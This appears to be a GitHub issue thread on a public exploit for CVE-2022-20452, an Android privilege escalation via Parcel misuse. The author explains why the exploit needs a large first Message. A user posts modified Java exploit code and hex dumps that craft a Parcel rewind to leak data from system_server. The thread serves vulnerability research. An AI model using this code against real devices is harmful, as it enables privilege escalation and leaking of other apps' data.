michalbednarski / LeakValue

Exploit for CVE-2022-20452, privilege escalation on Android from installed app to system app (or another app) via LazyValue using Parcel after recycle()
272 stars 47 forks source link

Why we need more than one Message? #4

Open Sheepbye opened 1 year ago

Sheepbye commented 1 year ago

Hi, thank you very much for sharing this research. I notice that in makeHolderLeakerWithRewind(), first a Message of a large size (might reach the max size?) was transacted, and then the second one will leak some value from another Parcel. I wonder why we need the first Message. I have tried to only transact one, and transact three Message. Three Message is okay, the only thing to be modified is that in ValueLeaker.doLeak(), data.writeInt(2), pointing the third Message. But I get failed with only one Message. There was similar log: Parcel : Attempt to read object from Parcel 0xb40000733c44c180 at offset 28 that is not in the object list In ValueLeaker.doLeak(), I've tried dump the whole Parcel from getQueue(). After key "android.os.Message", there's nothing: // key android.os.Message 12:00:00:00:61:00:6E:00:64:00:72:00:6F:00:69:00:64:00:2E:00:6F:00:73:00:2E:00:4D:00:65:00:73:00:73:00:61:00:67:00:65:00:00:00:00:00: // second key %$#@! 05:00:00:00:25:00:24:00:23:00:40:00:21:00:00:00: If we transact two or three Message, it would be like: // key android.os.Message 12:00:00:00:61:00:6E:00:64:00:72:00:6F:00:69:00:64:00:2E:00:6F:00:73:00:2E:00:4D:00:65:00:73:00:73:00:61:00:67:00:65:00:00:00:00:00: // things from another Parcel 69:00:76:00:69:00:74:00:79:00:54:00:61:00:73:00:6B:00:4D:00:61:00:6E:00:61:00:67:0065:00:72:00:00:00:00:00:85:2A:68:73:13:01:00:00:FE:09:00:00:00:00:00:00:00:00:00:00: // seconde key %$#@! 05:00:00:00:25:00:24:00:23:00:40:00:21:00:00:00:02:00:00:00:04:00:00:00:00:00:00:00:6F:00:74:00:65:00:56:00:69:00:65:00:77:00:73:00:00:00:00:00:00:00:00:00:85:2A:62:73:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 So, if we only use one Message, it would fail at leaking value from another Parcel. And I haven't found the reason. Would you please share about why we needs a, or more than one Message before the leaking one? Thank you very much :). (Sorry for my bad English, it might be noticed in README but I didn‘t realize it.)

michalbednarski commented 1 year ago

There are two limits when we're sending data through Binder

Transfers of Lists are described in "Putting Parcelables in system_server and retrieving them" section of readme

We've got two list transfers, we send list of objects to system_server and then we retrieve it, in both cases transactions can be split in order to handle Lists exceeding Binder transaction size limit

When I'm sending data to system_server I get to decide where to split List, however when I'm getting List back ParceledListSlice in system_server decides where to split and I want split to happen after "first"/"large" Message (which exceeds "suggested" limit) as my ValueLeaker operates on ParceledListSlice "retriever". Without "large" Message, "retriever" wouldn't be created

Use of retriever allows splitting getQueue operation as getQueue itself is called inside ValueLeakerMaker#makeHolderLeakerWithRewind, but actual value retrieval happens ValueLeaker#doLeak. Possible alternative (hadn't checked if it would work but probably would) could be calling getQueue from ValueLeaker#doLeak (creating separate MediaSessions fo multiple ValueLeakers)

As for sending, there are two separate setQueueBinder.transact calls. While it is possible to send both Messages in single transaction (that would fit under hard limit), however doing so would require some adjustments as number of items is present only in first transaction and there are offsets in this exploit that are based on assumption that leak happens on object created within transaction that did not have that value

Sheepbye commented 1 year ago

Thank you very much to answer this! As you noticed: Without "large" Message, "retriever" wouldn't be created

But why we need to operate on "retriever"? "retriever" seems doing the same thing as ParcelListSlice itself. Here I tried:

  1. First transaction, we only provide 1 Message containing RemoteViews
  2. When creating ValueLeaker, I use mControllerBinder, and then ValueLeaker calls getQueue itself in ValueLeaker#doLeak
  3. Then I dump the whole Parcel from getQueue. getQueue seems being called successfully, but after key "android.os.Message", there's nothing: // key android.os.Message 12:00:00:00:61:00:6E:00:64:00:72:00:6F:00:69:00:64:00:2E:00:6F:00:73:00:2E:00:4D:00:65:00:73:00:73:00:61:00:67:00:65:00:00:00:00:00: // second key %$#@! 05:00:00:00:25:00:24:00:23:00:40:00:21:00:00:00:

In this case, it seems that this transact won't reach the size limit(716 bytes returned). Here's the code that I changed to test this:

 public ValueLeaker makeHolderLeakerWithRewindTest(int leakDataSize) throws ReflectiveOperationException, RemoteException {
        // Tested only with leakDataSize=56
        if (leakDataSize < 8 || leakDataSize % 4 != 0) {
            throw new IllegalArgumentException();
        }
        int offsetToLeakedData;

        IBinder setQueueBinder = (IBinder) mGetBinderForSetQueue.invoke(mMediaSessionBinder);
        {
            Parcel data = Parcel.obtain();
            Parcel reply = Parcel.obtain();
            data.writeInt(1); // List length
            data.writeInt(1); // ParcelableListBinder.ITEM_CONTINUED
            data.writeString("android.os.Message");
            data.writeInt(4); // msg.what / readValue() type
            data.writeInt(leakDataSize-8); // msg.arg1 / readValue() size
            data.writeInt(1); // msg.arg2 / readParcelable() name length
            data.writeInt('.'); // msg.obj != null / readParcelable() name text
            data.writeString("android.widget.RemoteViews");

            // BEGIN RemoteViews
            data.writeInt(0); // MODE_NORMAL
            data.writeInt(0); // mBitmapCache.size()
            if (mBitmapCacheHasHashes) data.writeInt(0);
            ApplicationInfo applicationInfo = new ApplicationInfo();
            applicationInfo.packageName = "";
            applicationInfo.writeToParcel(data, 0);
            data.writeInt(0); // mIdealSize == null
            data.writeInt(22); // mLayoutId
            data.writeInt(33); // mViewId
            data.writeInt(0); // mLightBackgroundLayoutId
            data.writeInt(1); // mActions.size()
            // BEGIN mActions[0]
            data.writeInt(2); // REFLECTION_ACTION_TAG
            data.writeInt(0); // viewId
            data.writeInt(-1); // methodName
            data.writeInt(13); // type=BUNDLE
            // BEGIN Parcel.readBundle()
            data.writeInt(4); // Bundle length (ignored as actual length due to read helper presence)
            data.writeInt(0x4C444E44); // BUNDLE_MAGIC_NATIVE
            data.writeInt(2); // Number of key-value pairs in Bundle
            offsetToLeakedData = data.dataPosition(); // TODO

            // BEGIN First Bundle key-value pair
            data.writeString("%$#@!");
            data.writeInt(2); // VAL_MAP
            data.writeInt(-data.dataPosition()+4);
            data.writeInt(0); // Number of items in VAL_MAP
            // END First Bundle key-value pair
            // Reader has rewound, abandon writing
//            ParcelEditor.dump(data);
            Log.d("ValueLeakerMaker", "makeHolderLeakerWithRewind: " + data.dataSize());
            setQueueBinder.transact(FIRST_CALL_TRANSACTION, data, null, 0);
            reply.recycle();
            data.recycle();
        }

        IBinder retriever = mControllerBinder;
        return new ValueLeaker(retriever, offsetToLeakedData, leakDataSize, 0x40002300240025L, mGetQueueCode);
    }

    public Parcel doLeak() throws RemoteException {
        Log.d(TAG, "doLeak: " + mLeakPosition);
        Parcel leakedParcel = null;
        Parcel data = Parcel.obtain();
        Parcel reply = Parcel.obtain();
        if (mtransactCode == IBinder.FIRST_CALL_TRANSACTION){
            data.writeInt(1);
        }
        else {  // mGetQueueCode
            data.writeInterfaceToken("android.media.session.ISessionController");
        }
        mRetriever.transact(mtransactCode, data, reply, 0);
        checkReply(reply);  // dump the reply
        reply.setDataPosition(mLeakPosition + mLeakSize + 4);

        if (reply.readLong() == mEndMagic) {
            leakedParcel = Parcel.obtain();
            leakedParcel.appendFrom(reply, mLeakPosition, mLeakSize);
        }
        reply.recycle();
        data.recycle();
        return leakedParcel;
    }
Sheepbye commented 1 year ago

Sorry. I did a misoperation to close this.

michalbednarski commented 1 year ago

Pushed alternate version which goes with single Message as you tried

There were few offset adaptations, however overall flow looks similar to what you tried

Branch unwrap-parceledlistslice, commit b8b16fb61b8600774f143dd68396a20f5a830331

Sheepbye commented 1 year ago

Thank you very much for spending your time on my question! In MainActivity, I didn't call new ValueLeakerMaker(this).makeHolderLeakerWithRewind(52) but leakerMaker.makeHolderLeakerWithRewind(52). So guess I didn't use multiple MediaSession-s but only one 🤯.